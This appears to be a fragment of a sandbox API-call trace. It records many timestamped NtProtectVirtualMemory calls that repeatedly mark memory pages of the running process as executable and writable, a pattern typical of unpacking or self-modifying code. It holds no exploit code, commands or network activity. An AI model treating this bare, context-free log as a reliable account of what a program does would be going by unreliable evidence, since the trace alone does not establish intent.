NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.183] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.198] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.237] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.247] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.264] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.297] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.308] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.325] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.336] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.346] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.373] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.395] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.445] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.456] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.466] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.477] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.514] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.525] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.542] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.553] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.599] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.610] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.621] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.631] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.670] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.681] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.697] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.708] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.721] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.738] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.749] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.759] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.799] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.820] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.837] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.859] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.880] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.901] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.964] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.985] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.002] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.023] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.034] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.056] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.169] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.179] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.190] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.208] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.220] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.234] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.266] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.285] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.317] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.378] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.405] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.423] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.448] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.461] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.472] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.488] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.499] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.510] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.525] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.584] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 